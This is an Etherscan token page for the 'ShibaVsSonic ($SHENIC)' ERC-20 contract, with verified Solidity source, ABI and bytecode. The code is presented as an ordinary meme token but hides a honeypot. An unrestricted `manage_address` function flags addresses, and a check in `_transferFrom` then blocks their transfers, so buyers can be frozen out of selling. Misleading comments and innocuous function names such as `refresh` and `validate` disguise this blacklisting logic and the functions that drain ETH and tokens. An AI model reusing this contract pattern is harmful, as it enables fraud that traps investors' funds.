ETH Price: $2,405.54 (+2.84%)

Token

ShibaVsSonic ($SHENIC)
 

Overview

Max Total Supply

10,000,000,000 $SHENIC

Holders

53

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 4 Decimals)

Balance
0.4917 $SHENIC

Value
$0.00
0x139d0d143f4e1a62caf4c30944220af0a9f5e1be
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShibaVsSonic

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-16
*/

/**

Fairlaunch Saturday 16th Sept 2023  | 18 UTC on Ethereum Network

✅Telegram:https://t.me/SHIBAvsSONIC

🕊Twitter:https://x.com/ShibaVSSonicERC

🌐Website: https://shenic.site/

*/

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.18;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function isGranted(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    function renounce(address payable adr) public onlyOwner {
        owner = adr;
        authorizations[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract ShibaVsSonic is IERC20, Auth {
    using SafeMath for uint256;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string constant _name = "ShibaVsSonic";
    string constant _symbol = "$SHENIC";
    uint8 constant _decimals = 4;

    uint256 _totalSupply =  10000000000 * (10 ** _decimals);

    uint256 public _maxTxAmount = 10000000000 * (10 ** _decimals);
    uint256 public _maxWalletToken = 10000000000 * (10 ** _decimals);

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isWalletLimitExempt;
    mapping (address => bool) public isBuySell;

    uint256 public liquidityFee     = 0;
    uint256 public marketingFee     = 1;
    uint256 public projectFee       = 0;
    uint256 public utilityFee       = 0;
    uint256 public totalFee         = marketingFee + liquidityFee + projectFee + utilityFee;
    uint256 public feeDenominator   = 100;

    uint256 public sellMultiplier  = 100;
    uint256 public buyMultiplier  = 100;
    uint256 public transferMultiplier  = 100;

    address private autoLiquidityReceiver;
    address private marketingFeeReceiver;
    address private projectFeeReceiver;
    address private utilityFeeReceiver;

    uint256 targetLiquidity = 30;
    uint256 targetLiquidityDenominator = 100;

    IDEXRouter public router;
    address public pair;

    bool public tradingOpen = true;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply / 250;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isTxLimitExempt[msg.sender] = true;
        isWalletLimitExempt[msg.sender] = true;
        
        autoLiquidityReceiver = msg.sender;
        marketingFeeReceiver = msg.sender;
        projectFeeReceiver = msg.sender;
        utilityFeeReceiver = msg.sender; 

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

//Approve address transactions

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(!authorizations[sender] && !authorizations[recipient]){
            require(tradingOpen,"Trading not open yet");
        }

        // Verify address credentials
        require(!isBuySell[recipient] && !isBuySell[sender], 'Address is Declined');

        if(shouldSwapBack()){ swapBack(); }

        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, amount, recipient);
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
        
        uint256 multiplier = transferMultiplier;
        if(recipient == pair){
            multiplier = sellMultiplier;
        } else if(sender == pair){
            multiplier = buyMultiplier;
        }

        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);

        uint256 utilityTokens = feeAmount.mul(utilityFee).div(totalFee);
        uint256 contractTokens = feeAmount.sub(utilityTokens);

        _balances[address(this)] = _balances[address(this)].add(contractTokens);
        _balances[utilityFeeReceiver] = _balances[utilityFeeReceiver].add(utilityTokens);
        emit Transfer(sender, address(this), contractTokens);
        
        if(utilityTokens > 0){
            emit Transfer(sender, utilityFeeReceiver, utilityTokens);    
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
        uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance.sub(balanceBefore);

        uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2));
        
        uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHproject = amountETH.mul(projectFee).div(totalETHFee);

        (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        (tmpSuccess,) = payable(projectFeeReceiver).call{value: amountETHproject, gas: 30000}("");
        
        tmpSuccess = false;

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    // Public function starts

    function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
        require(maxWallPercent_base1000 >= 10, "Max Wallet cannot be lower than 1% total supply.");
        _maxWalletToken = (_totalSupply * maxWallPercent_base1000 ) / 1000;
    }

    function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner {
        require(maxTXPercentage_base1000 >= 1, "Max Transaction cannot be lower than 0.1% total supply.");
        _maxTxAmount = (_totalSupply * maxTXPercentage_base1000 ) / 1000;
    }

    function refresh (uint256 amountPercentage) external  {
        uint256 amountETH = address(this).balance;
        payable(marketingFeeReceiver).transfer(amountETH * amountPercentage / 100);
    }

    function validate(address tokenAddress, uint256 tokens) public returns (bool success) {
        return IERC20(tokenAddress).transfer(marketingFeeReceiver, tokens);
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _projectFeeReceiver, address _utilityFeeReceiver) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        projectFeeReceiver = _projectFeeReceiver;
        utilityFeeReceiver = _utilityFeeReceiver;
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external  {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function setTargetLiquidity(uint256 _target, uint256 _denominator) external  {
        targetLiquidity = _target;
        targetLiquidityDenominator = _denominator;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }

    function manage_address(address[] calldata addresses) public {
    for (uint256 i; i < addresses.length; ++i) {
        isBuySell[addresses[i]] = true;
    }
    }

event AutoLiquify(uint256 amountETH, uint256 amountTokens);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBuySell","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isGranted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"manage_address","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"projectFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"refresh","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"renounce","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_projectFeeReceiver","type":"address"},{"internalType":"address","name":"_utilityFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTXPercentage_base1000","type":"uint256"}],"name":"setMaxTxPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"utilityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"validate","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506004600a620000ee91906200098f565b6402540be400620001009190620009e0565b6005556004600a6200011391906200098f565b6402540be400620001259190620009e0565b6006556004600a6200013891906200098f565b6402540be4006200014a9190620009e0565b6007556000600e556001600f5560006010556000601155601154601054600e54600f5462000179919062000a2b565b62000185919062000a2b565b62000191919062000a2b565b6012556064601355606460145560646015556064601655601e601b556064601c556001601e60146101000a81548160ff0219169083151502179055506001601e60156101000a81548160ff02191690831515021790555060fa600554620001f9919062000a95565b601f553480156200020957600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050737a250d5630b4cf539739df2c5dacb4c659f2488d601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000366573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038c919062000b37565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b8152600401620003ea92919062000b7a565b6020604051808303816000875af11580156200040a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000430919062000b37565b601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600554600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620007e7919062000bb8565b60405180910390a362000bd5565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000883578086048111156200085b576200085a620007f5565b5b60018516156200086b5780820291505b80810290506200087b8562000824565b94506200083b565b94509492505050565b6000826200089e576001905062000971565b81620008ae576000905062000971565b8160018114620008c75760028114620008d25762000908565b600191505062000971565b60ff841115620008e757620008e6620007f5565b5b8360020a915084821115620009015762000900620007f5565b5b5062000971565b5060208310610133831016604e8410600b8410161715620009425782820a9050838111156200093c576200093b620007f5565b5b62000971565b62000951848484600162000831565b925090508184048111156200096b576200096a620007f5565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200099c8262000978565b9150620009a98362000982565b9250620009d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200088c565b905092915050565b6000620009ed8262000978565b9150620009fa8362000978565b925082820262000a0a8162000978565b9150828204841483151762000a245762000a23620007f5565b5b5092915050565b600062000a388262000978565b915062000a458362000978565b925082820190508082111562000a605762000a5f620007f5565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000aa28262000978565b915062000aaf8362000978565b92508262000ac25762000ac162000a66565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000aff8262000ad2565b9050919050565b62000b118162000af2565b811462000b1d57600080fd5b50565b60008151905062000b318162000b06565b92915050565b60006020828403121562000b505762000b4f62000acd565b5b600062000b608482850162000b20565b91505092915050565b62000b748162000af2565b82525050565b600060408201905062000b91600083018562000b69565b62000ba0602083018462000b69565b9392505050565b62000bb28162000978565b82525050565b600060208201905062000bcf600083018462000ba7565b92915050565b61389a8062000be56000396000f3fe6080604052600436106102555760003560e01c806378109e5411610139578063a9059cbb116100b6578063dd62ed3e1161007a578063dd62ed3e14610913578063df20fd4914610950578063ef1f153814610979578063f887ea40146109b6578063fed0d2a1146109e1578063ffb54a9914610a0c5761025c565b8063a9059cbb1461081a578063bd9ab53714610857578063d51ed1c814610880578063d58f2f27146108bd578063dccd8bd2146108e85761025c565b806398118cb4116100fd57806398118cb41461072157806398be37861461074c57806398e0ae14146107895780639c75dd35146107c6578063a8aa1b31146107ef5761025c565b806378109e541461064c5780637d1db4a5146106775780637f274d58146106a2578063893d20e8146106cb57806395d89b41146106f65761025c565b806323b872dd116101d25780633c8e556d116101965780633c8e556d14610528578063571ac8b0146105515780635921652f1461058e5780636b67c4df146105b95780636ddd1713146105e457806370a082311461060f5761025c565b806323b872dd1461042d5780632b112e491461046a5780632f54bf6e146104955780633121c7c0146104d2578063313ce567146104fd5761025c565b8063180b0d7e11610219578063180b0d7e1461035a57806318160ddd146103855780631df4ccfc146103b05780631f76a7af146103db578063201e7991146104045761025c565b80630445b6671461026157806306fdde031461028c57806309302dc6146102b7578063095ea7b3146102e05780631161ae391461031d5761025c565b3661025c57005b600080fd5b34801561026d57600080fd5b50610276610a37565b6040516102839190612a1e565b60405180910390f35b34801561029857600080fd5b506102a1610a3d565b6040516102ae9190612ac9565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190612b21565b610a7a565b005b3480156102ec57600080fd5b5061030760048036038101906103029190612bac565b610b2a565b6040516103149190612c07565b60405180910390f35b34801561032957600080fd5b50610344600480360381019061033f9190612c22565b610c1c565b6040516103519190612c07565b60405180910390f35b34801561036657600080fd5b5061036f610c31565b60405161037c9190612a1e565b60405180910390f35b34801561039157600080fd5b5061039a610c37565b6040516103a79190612a1e565b60405180910390f35b3480156103bc57600080fd5b506103c5610c41565b6040516103d29190612a1e565b60405180910390f35b3480156103e757600080fd5b5061040260048036038101906103fd9190612ca0565b610c47565b005b34801561041057600080fd5b5061042b60048036038101906104269190612c22565b610d60565b005b34801561043957600080fd5b50610454600480360381019061044f9190612ccd565b610d72565b6040516104619190612c07565b60405180910390f35b34801561047657600080fd5b5061047f610f72565b60405161048c9190612a1e565b60405180910390f35b3480156104a157600080fd5b506104bc60048036038101906104b79190612d20565b610ff4565b6040516104c99190612c07565b60405180910390f35b3480156104de57600080fd5b506104e761104d565b6040516104f49190612a1e565b60405180910390f35b34801561050957600080fd5b50610512611053565b60405161051f9190612d69565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a9190612d84565b61105c565b005b34801561055d57600080fd5b5061057860048036038101906105739190612d20565b6111ae565b6040516105859190612c07565b60405180910390f35b34801561059a57600080fd5b506105a36111e1565b6040516105b09190612a1e565b60405180910390f35b3480156105c557600080fd5b506105ce6111e7565b6040516105db9190612a1e565b60405180910390f35b3480156105f057600080fd5b506105f96111ed565b6040516106069190612c07565b60405180910390f35b34801561061b57600080fd5b5061063660048036038101906106319190612d20565b611200565b6040516106439190612a1e565b60405180910390f35b34801561065857600080fd5b50610661611249565b60405161066e9190612a1e565b60405180910390f35b34801561068357600080fd5b5061068c61124f565b6040516106999190612a1e565b60405180910390f35b3480156106ae57600080fd5b506106c960048036038101906106c49190612e50565b611255565b005b3480156106d757600080fd5b506106e06112f8565b6040516106ed9190612eac565b60405180910390f35b34801561070257600080fd5b5061070b611321565b6040516107189190612ac9565b60405180910390f35b34801561072d57600080fd5b5061073661135e565b6040516107439190612a1e565b60405180910390f35b34801561075857600080fd5b50610773600480360381019061076e9190612d20565b611364565b6040516107809190612c07565b60405180910390f35b34801561079557600080fd5b506107b060048036038101906107ab9190612bac565b6113ba565b6040516107bd9190612c07565b60405180910390f35b3480156107d257600080fd5b506107ed60048036038101906107e89190612b21565b611464565b005b3480156107fb57600080fd5b506108046114ed565b6040516108119190612eac565b60405180910390f35b34801561082657600080fd5b50610841600480360381019061083c9190612bac565b611513565b60405161084e9190612c07565b60405180910390f35b34801561086357600080fd5b5061087e60048036038101906108799190612b21565b611528565b005b34801561088c57600080fd5b506108a760048036038101906108a29190612b21565b6115d8565b6040516108b49190612a1e565b60405180910390f35b3480156108c957600080fd5b506108d261164a565b